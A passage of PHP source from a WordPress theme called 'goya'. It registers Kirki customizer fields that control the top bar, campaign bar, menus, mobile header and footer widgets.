    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'multicheck', 'settings' => 'top_bar_mobiles', 'label' => esc_html__( 'Mobile visibility', 'goya' ), 'description' => esc_html__( 'Select the sections to display on mobiles', 'goya' ), 'section' => 'top_bar', 'default' => array(), 'priority' => 10, 'multiple' => 1, 'choices' => array( 'left' => esc_attr__('Left', 'goya'), 'center' => esc_attr__('Center', 'goya'), 'right' => esc_attr__('Right', 'goya'), ), /*'required' => array( array( 'setting' => 'top_bar', 'operator' => '==', 'value' => true ) ),*/ )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'top_bar', 'default' => '

    ' . esc_html__( 'Elements', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'repeater', 'settings' => 'top_bar_left', 'label' => esc_html__( 'Left Section', 'goya' ), 'section' => 'top_bar', 'transport' => 'postMessage', 'default' => array( array( 'item' => 'social' ) ), 'priority' => 11, 'row_label' => array( 'type' => 'field', 'value' => esc_attr__( 'Element', 'goya' ), 'field' => 'item', ), 'fields' => array( 'item' => array( 'type' => 'select', 'choices' => goya_topbar_elements_list(), ), ), /*'required' => array( array( 'setting' => 'top_bar', 'operator' => '==', 'value' => true ) ),*/ 'partial_refresh' => array( 'top_bar_left' => array( 'selector' => '.top-bar', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/header-parts/top-bar' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'repeater', 'settings' => 'top_bar_center', 'label' => esc_html__( 'Center Section', 'goya' ), 'section' => 'top_bar', 'transport' => 'postMessage', 'default' => array(), 'priority' => 12, 'row_label' => array( 'type' => 'field', 'value' => esc_attr__( 'Element', 'goya' ), 'field' => 'item', ), 'fields' => array( 'item' => array( 'type' => 'select', 'choices' => goya_topbar_elements_list(), ), ), /*'required' => array( array( 'setting' => 'top_bar', 'operator' => '==', 'value' => true ) ),*/ 'partial_refresh' => array( 'top_bar_center' => array( 'selector' => '.top-bar', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/header-parts/top-bar' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'repeater', 'settings' => 'top_bar_right', 'label' => esc_html__( 'Right Section', 'goya' ), 'section' => 'top_bar', 'transport' => 'postMessage', 'default' => array(), 'priority' => 13, 'row_label' => array( 'type' => 'field', 'value' => esc_attr__( 'Element', 'goya' ), 'field' => 'item', ), 'fields' => array( 'item' => array( 'type' => 'select', 'choices' => goya_topbar_elements_list(), ), ), /*'required' => array( array( 'setting' => 'top_bar', 'operator' => '==', 'value' => true ) ),*/ 'partial_refresh' => array( 'top_bar_right' => array( 'selector' => '.top-bar', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/header-parts/top-bar' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'top_bar', 'default' => '

    ' . esc_html__( 'Text Fields', 'goya' ) . '

    ' . esc_html__( 'To be used with the customizer above', 'goya' ) . '

    ', 'priority' => 14, /*'required' => array( array( 'setting' => 'top_bar', 'operator' => '==', 'value' => true ) ),*/ )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'top_bar_text', 'label' => esc_html__( 'Custom Text 1', 'goya' ), 'section' => 'top_bar', 'priority' => 14, 'default' => '', /*'required' => array( array( 'setting' => 'top_bar', 'operator' => '==', 'value' => true ) ),*/ )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'top_bar_text2', 'label' => esc_html__( 'Custom Text 2', 'goya' ), 'section' => 'top_bar', 'priority' => 14, 'default' => '', /*'required' => array( array( 'setting' => 'top_bar', 'operator' => '==', 'value' => true ) ),*/ )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'top_bar_text3', 'label' => esc_html__( 'Custom Text 3', 'goya' ), 'section' => 'top_bar', 'priority' => 14, 'default' => '', /*'required' => array( array( 'setting' => 'top_bar', 'operator' => '==', 'value' => true ) ),*/ )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'top_bar', 'default' => '

    ' . esc_html__( 'Styles', 'goya' ) . '

    ', 'priority' => 14, )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'top_bar_height', 'label' => esc_html__( 'Height (px)', 'goya' ), 'transport' => 'auto', 'section' => 'top_bar', 'default' => 40, 'priority' => 14, 'choices' => array( 'min' => 30, 'max' => 60, 'step' => 1 ), /*'required' => array( array( 'setting' => 'top_bar', 'operator' => '==', 'value' => true ) ),*/ 'output' => array( array( 'element' => array('.top-bar .search-field, .top-bar .search-button-group select'), 'property' => 'height', 'units' => 'px', ), array( 'element' => array('.top-bar'), 'property' => 'min-height', 'units' => 'px', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'top_bar', 'default' => '
    ', 'priority' => 14, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'top_bar_font_color', 'label' => esc_html__( 'Top Bar Text Color', 'goya' ), 'transport' => 'auto', 'section' => 'top_bar', 'default' => '#eeeeee', 'priority' => 14, /*'required' => array( array( 'setting' => 'top_bar', 'operator' => '==', 'value' => true, ), ),*/ 'output' => array( array( 'element' => array('.top-bar, .top-bar a, .top-bar button, .top-bar .selected'), 'property' => 'color', ), array( 'element' => array('.search-button-group .search-clear:before, .search-button-group .search-clear:after'), 'property' => 'background-color', ) ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'top_bar_background_color', 'label' => esc_html__( 'Top Bar Background Color', 'goya' ), 'transport' => 'auto', 'section' => 'top_bar', 'default' => '#282828', 'priority' => 14, /*'required' => array( array( 'setting' => 'top_bar', 'operator' => '==', 'value' => true, ), ),*/ 'output' => array( array( 'element' => array('.top-bar'), 'property' => 'background-color', ), ), )); /* Campaign */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'campaign_bar', 'label' => esc_html__( 'Show Campaign Bar', 'goya' ), 'section' => 'campaign', 'default' => false, 'priority' => 10, )); if (get_theme_mod('campaign_bar_content', '') != '') { Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'campaign', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'textarea', 'settings' => 'campaign_bar_content', 'label' => esc_html__( 'Old Content', 'goya' ), 'description' => sprintf( '

    %s %s

    %s

    ', esc_html__( '* Warning: This field is deprecated and it will be removed. Leave this field empty and use the new options under', 'goya' ), esc_html__( 'Campaign Content', 'goya' ), esc_html__( 'For multilanguage sites translate the strings again.', 'goya' ) ), 'section' => 'campaign', 'default' => '', 'priority' => 10, /*'required' => array( array( 'setting' => 'campaign_bar', 'operator' => '==', 'value' => true ) ),*/ )); } Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'campaign', 'default' => '

    ' . esc_html__( 'Contents', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'repeater', 'settings' => 'campaign_bar_items', 'label' => esc_html__( 'Campaign Content', 'goya' ), 'section' => 'campaign', 'transport' => 'postMessage', 'default' => array(), 'priority' => 11, 'row_label' => array( 'type' => 'field', 'value' => esc_attr__( 'Campaign', 'goya' ), ), 'fields' => array( 'campaign_text' => array( 'type' => 'textarea', 'label' => esc_html__( 'Text', 'goya' ), 'default' => '' ), 'campaign_link' => array( 'type' => 'text', 'label' => esc_html__( 'URL', 'goya' ), 'default' => '' ), 'campaign_button' => array( 'type' => 'text', 'label' => esc_html__( 'Button Text', 'goya' ), 'description' => esc_html__( 'Only used if Link Mode is Button', 'goya' ), 'default' => '' ), ), /*'required' => array( array( 'setting' => 'campaign_bar', 'operator' => '==', 'value' => true ) ),*/ 'partial_refresh' => array( 'campaign_items' => array( 'selector' => '.et-global-campaign', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/header-parts/campaigns' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'campaign', 'default' => '

    ' . esc_html__( 'Layout', 'goya' ) . '

    ', 'priority' => 12, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'campaign_layout', 'label' => esc_html__( 'Layout', 'goya' ), 'section' => 'campaign', 'default' => 'slider', 'priority' => 12, 'choices' => array( 'inline' => esc_attr__('Inline', 'goya'), 'slider' => esc_attr__('Slider', 'goya'), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'campaign', 'default' => '
    ', 'priority' => 12, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'campaign_slider_transition', 'label' => esc_html__( 'Slider Transition', 'goya' ), 'section' => 'campaign', 'default' => 'slide', 'priority' => 12, 'choices' => array( 'slide' => esc_attr__('Slide', 'goya'), 'fade' => esc_attr__('Fade', 'goya'), ), /*'required' => array( array( 'setting' => 'campaign_layout', 'operator' => '==', 'value' => 'slider', ), ),*/ )); Kirki::add_field( 'goya_config', array( 'type' => 'text', 'settings' => 'campaign_autoplay_speed', 'label' => esc_html__( 'Autoplay Speed', 'goya' ), 'description' => __( 'Enter autoplay interval in milliseconds (1 second = 1000 milliseconds).', 'goya' ), 'section' => 'campaign', 'default' => 2500, 'priority' => 12, /*'required' => array( array( 'setting' => 'campaign_layout', 'operator' => '==', 'value' => 'slider', ), ),*/ )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'campaign', 'default' => '
    ', 'priority' => 12, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'campaign_links_mode', 'label' => esc_html__( 'Link Mode', 'goya' ), 'description' => esc_html__( 'Full Text: click anywhere on the text, the button is not visible', 'goya' ), 'section' => 'campaign', 'default' => 'button', 'priority' => 12, 'choices' => array( 'button' => esc_attr__('Button', 'goya'), 'cover' => esc_attr__('Full Text', 'goya'), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'campaign', 'default' => '
    ', 'priority' => 12, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'campaign_bar_dismissible', 'label' => esc_html__( 'Show close button', 'goya' ), 'description' => esc_html__( 'Campaign area is reactivated after 24hr.', 'goya' ), 'transport' => 'postMessage', 'section' => 'campaign', 'default' => true, 'priority' => 12, /*'required' => array( array( 'setting' => 'campaign_bar', 'operator' => '==', 'value' => true, ), ),*/ 'js_vars' => array( array( 'element' => '.et-global-campaign .remove', 'function' => 'toggleClass', 'class' => 'dismissible', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'campaign', 'default' => '
    ', 'priority' => 12, )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'campaign_bar_height', 'label' => esc_html__( 'Min Height (px)', 'goya' ), 'transport' => 'auto', 'section' => 'campaign', 'default' => 40, 'priority' => 12, 'choices' => array( 'min' => 30, 'max' => 60, 'step' => 1 ), /*'required' => array( array( 'setting' => 'campaign_bar', 'operator' => '==', 'value' => true ) ),*/ 'output' => array( array( 'element' => array('.et-global-campaign'), 'property' => 'min-height', 'units' => 'px', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'campaign', 'default' => '

    ' . esc_html__( 'Colors', 'goya' ) . '

    ', 'priority' => 12, )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'campaign_bar_font_color', 'label' => esc_html__( 'Campaign - Text Color', 'goya' ), 'transport' => 'auto', 'section' => 'campaign', 'default' => '#ffffff', 'priority' => 12, /*'required' => array( array( 'setting' => 'campaign_bar', 'operator' => '==', 'value' => true, ), ),*/ 'output' => array( array( 'element' => array('.et-global-campaign'), 'property' => 'color', ), array( 'element' => array('.et-global-campaign .et-close:before, .et-global-campaign .et-close:after, .no-touch .et-global-campaign .et-close:hover:before, .no-touch .et-global-campaign .et-close:hover:after'), 'property' => 'background-color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'campaign_bar_background_color', 'label' => esc_html__( 'Campaign - Background Color', 'goya' ), 'transport' => 'auto', 'section' => 'campaign', 'default' => '#e97a7e', 'priority' => 12, /*'required' => array( array( 'setting' => 'campaign_bar', 'operator' => '==', 'value' => true, ), ),*/ 'output' => array( array( 'element' => array('.et-global-campaign'), 'property' => 'background-color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'campaign_button_text_color', 'label' => esc_html__( 'Button Color', 'goya' ), 'transport' => 'auto', 'section' => 'campaign', 'default' => '#ffffff', 'priority' => 12, 'required' => array( /*array( 'setting' => 'campaign_bar', 'operator' => '==', 'value' => true, ),*/ array( 'setting' => 'campaign_links_mode', 'operator' => '==', 'value' => 'button', ) ), 'output' => array( array( 'element' => array('.campaign-inner .link-button'), 'property' => 'color', ), ), )); /* Header Styles */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'vertical_bar', 'label' => esc_html__( 'Show Vertical Bar', 'goya' ), 'description' => esc_html__( 'Vertical icons bar in Toggle/Mobile menu panel', 'goya' ), 'section' => 'header_vertical_bar', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'sortable', 'settings' => 'vertical_bar_icons', 'label' => esc_html__( 'Vertical Bar Icons', 'goya' ), 'section' => 'header_vertical_bar', 'transport' => 'postMessage', 'default' => array( 'account', 'wishlist' ), 'choices' => goya_vertical_bar_elements_list(), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_vertical_bar', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'vertical_bar_mode', 'label' => esc_html__( 'Color scheme', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_vertical_bar', 'default' => 'light', 'priority' => 10, 'choices' => array( 'light' => esc_attr__('Light', 'goya'), 'dark' => esc_attr__('Dark', 'goya'), ), 'js_vars' => array( array( 'element' => '.side-panel .mobile-bar', 'function' => 'toggleClass', 'class' => 'dark', 'value' => 'dark', ), array( 'element' => '.side-panel .mobile-bar', 'function' => 'toggleClass', 'class' => 'light', 'value' => 'light', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'vertical_bar_background', 'label' => esc_html__( 'Bar background', 'goya' ), 'transport' => 'auto', 'section' => 'header_vertical_bar', 'default' => '#f8f8f8', 'priority' => 10, 'output' => array( array( 'element' => array('.side-panel .mobile-bar','.side-panel .mobile-bar.dark'), 'property' => 'background-color', ), ), )); /* Main Menu Settings */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'megamenu_fullwidth', 'label' => esc_html__( 'Full width Mega Menu', 'goya' ), 'description' => esc_html__( 'Megamenu fills the entire page width', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_main_menu', 'default' => true, 'priority' => 10, 'js_vars' => array( array( 'element' => 'body', 'function' => 'toggleClass', 'class' => 'megamenu-fullwidth', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_main_menu', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'megamenu_column_animation', 'label' => esc_html__( 'Animate Megamenu Columns', 'goya' ), 'description' => esc_html__( 'Add delayed animation to megamenu dropdown columns', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_main_menu', 'default' => false, 'priority' => 10, 'js_vars' => array( array( 'element' => 'body', 'function' => 'toggleClass', 'class' => 'megamenu-column-animation', 'value' => true, ), ), )); /* Off Canvas Desktop Menu */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'menu_fullscreen_override', 'label' => esc_html__( 'Override with mobile?', 'goya' ), 'description' => esc_html__( 'Show mobile panel on desktops too', 'goya' ), 'section' => 'header_offcanvas_desktop', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_offcanvas_desktop', 'default' => '
    ', 'priority' => 10, 'required' => array( array( 'setting' => 'menu_fullscreen_override', 'operator' => '!=', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'menu_fullscreen_mode', 'label' => esc_html__( 'Panel color scheme', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_offcanvas_desktop', 'default' => 'light', 'priority' => 10, 'choices' => array( 'light' => esc_attr__('Light', 'goya'), 'dark' => esc_attr__('Dark', 'goya'), ), 'required' => array( array( 'setting' => 'menu_fullscreen_override', 'operator' => '!=', 'value' => true, ), ), 'js_vars' => array( array( 'element' => '#fullscreen-menu', 'function' => 'toggleClass', 'class' => 'dark', 'value' => 'dark', ), array( 'element' => '#fullscreen-menu', 'function' => 'toggleClass', 'class' => 'light', 'value' => 'light', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'menu_fullscreen_background_color', 'label' => esc_html__( 'Panel Background', 'goya' ), 'transport' => 'auto', 'section' => 'header_offcanvas_desktop', 'default' => '#ffffff', 'priority' => 10, 'required' => array( array( 'setting' => 'menu_fullscreen_override', 'operator' => '!=', 'value' => true, ), ), 'output' => array( array( 'element' => array('.side-fullscreen-menu','.side-fullscreen-menu.dark'), 'property' => 'background-color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_offcanvas_desktop', 'default' => '

    ' . esc_html__( 'Additional Elements', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'menu_fullscreen_widget', 'label' => esc_html__( 'Widget Area', 'goya' ), 'section' => 'header_offcanvas_desktop', 'default' => true, 'priority' => 10, 'required' => array( array( 'setting' => 'menu_fullscreen_override', 'operator' => '!=', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'menu_fullscreen_account', 'label' => esc_html__( 'Account links', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_offcanvas_desktop', 'default' => false, 'priority' => 10, 'required' => array( array( 'setting' => 'menu_fullscreen_override', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'menu_fullscreen_currency', 'label' => esc_html__( 'Currency Selector', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_offcanvas_desktop', 'default' => true, 'priority' => 10, 'partial_refresh' => array( 'menu_fullscreen_currency' => array( 'selector' => '#fullscreen-menu', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/header/fullscreen-menu' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'menu_fullscreen_language', 'label' => esc_html__( 'Language Selector', 'goya' ), 'section' => 'header_offcanvas_desktop', 'default' => true, 'priority' => 10, 'partial_refresh' => array( 'menu_fullscreen_language' => array( 'selector' => '#fullscreen-menu', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/header/fullscreen-menu' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'menu_fullscreen_social', 'label' => esc_html__( 'Social Icons', 'goya' ), 'section' => 'header_offcanvas_desktop', 'default' => true, 'priority' => 10, 'partial_refresh' => array( 'menu_fullscreen_social' => array( 'selector' => '#fullscreen-menu', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/header/fullscreen-menu' ); }, ), ), )); /* Mobile Menu */ Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'mobile_menu_type', 'label' => esc_html__( 'Mobile Sub-menus', 'goya' ), 'description' => esc_html__( 'How to reveal sub-menus on mobiles', 'goya' ), 'section' => 'header_menu_mobile', 'default' => 'sliding', 'priority' => 10, 'choices' => array( 'sliding' => esc_attr__('Sliding', 'goya'), 'vertical' => esc_attr__('Collapsible (vertical)', 'goya'), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_menu_mobile', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'menu_mobile_mode', 'label' => esc_html__( 'Panel color scheme', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_menu_mobile', 'default' => 'light', 'priority' => 10, 'choices' => array( 'light' => esc_attr__('Light', 'goya'), 'dark' => esc_attr__('Dark', 'goya'), ), 'js_vars' => array( array( 'element' => '#mobile-menu', 'function' => 'toggleClass', 'class' => 'dark', 'value' => 'dark', ), array( 'element' => '#mobile-menu', 'function' => 'toggleClass', 'class' => 'light', 'value' => 'light', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'menu_mobile_text_color', 'label' => esc_html__( 'Links Color', 'goya' ), 'transport' => 'auto', 'section' => 'header_menu_mobile', 'default' => '#282828', 'priority' => 10, 'output' => array( array( 'element' => array('.side-mobile-menu li, .side-mobile-menu li a, .side-mobile-menu .bottom-extras, .side-mobile-menu .bottom-extras a, .side-mobile-menu .selected'), 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'menu_mobile_background_color', 'label' => esc_html__( 'Panel Background', 'goya' ), 'transport' => 'auto', 'section' => 'header_menu_mobile', 'default' => '#ffffff', 'priority' => 10, 'output' => array( array( 'element' => array('.side-menu.side-mobile-menu','.side-menu.side-mobile-menu.dark'), 'property' => 'background-color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_menu_mobile', 'default' => '

    ' . esc_html__( 'Elements to show', 'goya' ) . '

    ' . esc_html__( 'Items to show on mobile menu', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'menu_mobile_search', 'label' => esc_html__( 'Search Box', 'goya' ), 'description' => esc_html__( 'Show search box on top of mobile menu', 'goya' ), 'section' => 'header_menu_mobile', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'sortable', 'settings' => 'menu_mobile_items', 'label' => esc_html__( 'Extra Options', 'goya' ), 'description' => esc_html__( 'Additional elements below menu', 'goya' ), 'section' => 'header_menu_mobile', 'transport' => 'postMessage', 'default' => array('account', 'divider1', 'currency', 'language', 'divider2', 'social'), 'choices' => goya_mobile_menu_elements_list(), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_menu_mobile', 'default' => '

    ' . esc_html__( 'Text Fields', 'goya' ) . '

    ' . esc_html__( 'To be used with the customizer above', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'menu_mobile_custom_text', 'label' => esc_html__( 'Custom Text 1', 'goya' ), 'section' => 'header_menu_mobile', 'priority' => 10, 'default' => '', )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'menu_mobile_custom_text2', 'label' => esc_html__( 'Custom Text 2', 'goya' ), 'section' => 'header_menu_mobile', 'priority' => 10, 'default' => '', )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'menu_mobile_custom_text3', 'label' => esc_html__( 'Custom Text 3', 'goya' ), 'section' => 'header_menu_mobile', 'priority' => 10, 'default' => '', )); /* Mobile Options */ Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'mobile_logo_position', 'label' => esc_html__( 'Logo Position', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_mobile', 'default' => 'center', 'priority' => 10, 'choices' => array( 'center' => esc_attr__( 'Center', 'goya' ), 'left' => esc_attr__( 'Left', 'goya' ), ), 'js_vars' => array( array( 'element' => '.header .header-mobile', 'function' => 'toggleClass', 'class' => 'logo-center', 'value' => 'center', ), array( 'element' => '.header .header-mobile', 'function' => 'toggleClass', 'class' => 'logo-left', 'value' => 'left', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_mobile', 'default' => '
    ', 'priority' => 11, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'header_transparent_mobiles', 'label' => esc_html__( 'Keep transparent header', 'goya' ), 'description' => esc_html__( 'This option only works if you enable transparent header on other customizer sections (shop, blog) or directly on the product or page.', 'goya' ), 'transport' => 'postMessage', 'section' => 'header_mobile', 'default' => true, 'priority' => 12, 'js_vars' => array( array( 'element' => 'body', 'function' => 'toggleClass', 'class' => 'header-transparent-mobiles', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_mobile', 'default' => '
    ', 'priority' => 13, )); Kirki::add_field( 'goya_config', array( // Repeater 'type' => 'repeater', 'settings' => 'mobile_header_icons', 'label' => esc_html__( 'Header Icons', 'goya' ), 'description' => esc_html__( 'Control icons on the right side of mobile header', 'goya' ), 'section' => 'header_mobile', 'transport' => 'postMessage', 'default' => array( array( 'item' => 'cart' ) ), 'priority' => 14, 'row_label' => array( 'type' => 'field', 'value' => esc_attr__( 'Element', 'goya' ), 'field' => 'item', ), 'fields' => array( 'item' => array( 'type' => 'select', 'choices' => goya_mobile_header_elements_list(), ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_mobile', 'default' => '
    ', 'priority' => 15, )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'header_mobile_custom_text', 'label' => esc_html__( 'Custom Text', 'goya' ), 'section' => 'header_mobile', 'priority' => 16, 'default' => '', )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'header_mobile', 'default' => '
    ', 'priority' => 17, )); Kirki::add_field( 'goya_config', array( 'type' => 'text', 'settings' => 'mobile_header_breakpoint', 'label' => esc_html__( 'Responsive breakpoint', 'goya' ), 'description' => esc_html__( 'Screen width in px at which the mobile header becomes visible. Applied to Top Bar too. Min: 575, Max: 1360, Default: 991px', 'goya' ), 'section' => 'header_mobile', 'default' => 991, 'priority' => 18, )); /** * FOOTER */ /* Footer */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'back_to_top_button', 'label' => esc_html__( 'Back To Top Button', 'goya' ), 'section' => 'footer_setting', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'footer_setting', 'default' => '

    ' . esc_html__( 'Footer Widgets', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'footer_widgets_columns', 'label' => esc_html__( 'Widgets Columns', 'goya' ), 'description' => esc_html__( 'Number of columns for Footer Widgets', 'goya' ), 'section' => 'footer_setting', 'default' => 3, 'priority' => 10, 'choices' => array ( 'min' => 1, 'max' => 4, 'step' => 1 ), )); Kirki::add_field( 'goya_config', array( 'type' => 'select', 'settings' => 'footer_widgets_column_width', 'label' => esc_html__( 'Columns Width', 'goya' ), 'section' => 'footer_setting', 'default' => 'equal', 'priority' => 10, 'choices' => array( 'equal' => esc_html__( 'Equal width columns', 'goya' ), 'last' => esc_html__( 'Last column wide', 'goya' ), 'first' => esc_html__( 'First column wide', 'goya' ), ), 'required' => array( array( 'setting' => 'footer_widgets_columns', 'operator' => '>', 'value' => 1, ), ), )); /* Footer Extra */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'footer_middle', 'label' => esc_html__( 'Enable Footer Extra', 'goya' ), 'description' => esc_html__( 'Full width section with custom content', 'goya' ), 'section' => 'footer_extra', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'footer_extra', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'footer_middle_position', 'label' => esc_html__( 'Position', 'goya' ), 'section' => 'footer_extra', 'default' => 'after', 'priority' => 10, 'choices' => array( 'before' => esc_attr__('Before Widgets', 'goya'), 'after' => esc_attr__('After Widgets', 'goya'), ), 'required' => array( array( 'setting' => 'footer_middle', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'footer_extra', 'default' => '
